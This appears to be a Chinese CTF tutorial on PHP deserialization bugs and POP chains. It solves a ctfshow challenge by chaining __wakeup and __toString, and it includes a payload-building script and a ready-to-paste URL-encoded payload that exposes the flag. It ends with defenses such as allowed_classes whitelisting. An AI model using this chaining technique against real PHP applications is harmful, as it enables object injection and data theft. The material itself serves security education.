
文章目录
-
- [0. 前言](#0. 前言)
- [1. 什么是序列化与反序列化?](#1. 什么是序列化与反序列化?)
- [2. 什么是 POP 链?](#2. 什么是 POP 链?)
-
- [常用魔术方法(POP 链必备)](#常用魔术方法(POP 链必备))
- [3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?)](#3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?))
- [4. 这道题的 POP 链完整流程](#4. 这道题的 POP 链完整流程)
- [5. Payload 生成脚本(本地运行即可)](#5. Payload 生成脚本(本地运行即可))
- [6. 实际利用效果](#6. 实际利用效果)
- [7. 如何防范反序列化漏洞?](#7. 如何防范反序列化漏洞?)
- [8. 总结](#8. 总结)
0. 前言
今天这篇文章,笔者会从CTF学习的角度,从零带你搞懂:
- 什么是序列化 / 反序列化?
- 什么是 POP 链?
- 如何构造一条简单的 POP 链?
- CTF 例题(小舔田?)完整解析
读完后,你不仅能自己构造 payload,还能理解为什么反序列化是 Web 安全里"高危漏洞"之一。
1. 什么是序列化与反序列化?
序列化(serialize) :把 PHP 的对象、数组等复杂数据,变成一个字符串,方便存储到文件、数据库或通过网络传输。
反序列化(unserialize) :把这个字符串再变回原来的对象。
简单代码演示
php
<?php
class User {
public $name = "张三";
public $age = 18;
}
$user = new User();
$serialized = serialize($user); // 对象 → 字符串
echo $serialized; // 输出:O:4:"User":2:{s:4:"name";s:6:"张三";s:3:"age";i:18;}
$newUser = unserialize($serialized); // 字符串 → 对象
var_dump($newUser); // 又变回 User 对象
?>
正常用途:保存用户会话、缓存数据、API 通信。
漏洞产生原因 :如果程序直接把用户可控的字符串 传给 unserialize(),攻击者就能"变出"任意对象,并触发对象里的代码!
php
// 危险代码(真实漏洞常见写法)
if (isset($_GET['data'])) {
$obj = unserialize($_GET['data']); // ← 用户输入直接反序列化!
}
2. 什么是 POP 链?
POP = Property Oriented Programming(面向属性编程)
它和二进制里的 ROP(Return Oriented Programming)思想一模一样:
- ROP:在内存里找很多小代码片段,通过栈溢出把它们"链"起来执行 shell。
- POP:在 PHP 代码里找已经存在的类和方法 (尤其是魔术方法),通过控制对象的属性(property),把这些方法"链"起来,最终执行我们想要的操作(输出 flag、写文件、命令执行等)。
核心思路 :
unserialize() → 触发魔术方法 → 触发下一个方法 → ... → 执行敏感代码
POP 链的"发动机"就是 PHP 魔术方法 (Magic Methods)。它们不需要手动调用,在特定时机自动触发。
常用魔术方法(POP 链必备)
| 魔术方法 | 触发时机 | 常见用途 |
|---|---|---|
__wakeup() |
对象被 unserialize() 后立刻触发 |
最常见的 POP 链起点 |
__toString() |
对象被当作字符串使用时触发(如 echo $obj) |
字符串拼接、输出 |
__destruct() |
对象被销毁时触发(脚本结束) | 延迟执行 |
__invoke() |
对象被当作函数调用时触发 ($obj()) |
执行任意函数 |
__get() |
访问不存在的属性时触发 | 属性劫持 |
3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?)
下面是题目源码:
php
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人
默认访问 (不带 code)会输出牛夫人的台词。
4. 这道题的 POP 链完整流程
链路 :
Moon::__wakeup() → Ion_Fan_Princess::__toString() → Ion_Fan_Princess::call()
一步步拆解:
unserialize($_GET['code'])→ 反序列化得到 Moon 对象- 自动触发
Moon::__wakeup() __wakeup()执行echo "我是" . $this->name . "快来赏我";- 因为
$this->name是 Ion_Fan_Princess 对象,PHP 会自动调用它的__toString()
- 因为
__toString()先执行$this->call()call()判断$nickname == "小甜甜"→echo $flag
我们只需要构造:
- 一个
Moon对象 - 把它的
$name属性设置为Ion_Fan_Princess对象 - 把
Ion_Fan_Princess的$nickname设置为 "小甜甜"
5. Payload 生成脚本(本地运行即可)
php
<?php
class Moon {
public $name; // 我们要控制的属性
}
class Ion_Fan_Princess {
public $nickname; // 要设置为"小甜甜"
}
// 构造对象
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = "小甜甜";
// 生成 payload
$payload = serialize($a);
echo "原始序列化字符串:\n" . $payload . "\n\n";
echo "URL 编码后(直接用于 ?code= 后面):\n" . urlencode($payload) . "\n";
?>
运行后得到的 URL 编码 payload(直接复制使用):
?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D
6. 实际利用效果
访问题目地址 + 上面 payload 后:
- 先触发
__wakeup()输出 "我是小甜甜快来赏我" - 然后
__toString()调用call() - 最终输出 flag!
7. 如何防范反序列化漏洞?
-
永远不要直接反序列化用户输入
php// 正确做法 if (isset($_GET['data'])) { $data = json_decode($_GET['data'], true); // 优先用 JSON } -
使用白名单类(PHP 7.4+ 推荐)
phpunserialize($str, ['allowed_classes' => ['AllowedClass1', 'AllowedClass2']]); -
禁用魔术方法 (高级)
在
__wakeup()中抛异常或返回 false。 -
代码审计 checklist:
- 搜索
unserialize(、base64_decode(+unserialize - 检查是否有
__wakeup、__destruct等魔术方法 - 检查全局变量(如
$flag)是否可被读取
- 搜索
8. 总结
一句话总结 :
反序列化漏洞 = 程序帮攻击者"变出"任意对象;POP 链 = 用对象属性把魔术方法像搭积木一样连起来,最终执行敏感代码。
这道题的 POP 链 就是最基础的教学案例:__wakeup → __toString → 普通方法 call()。
最后思考 :安全从来不是"加固",而是"从设计之初就拒绝不信任的输入"。下次看到 unserialize 就要警惕!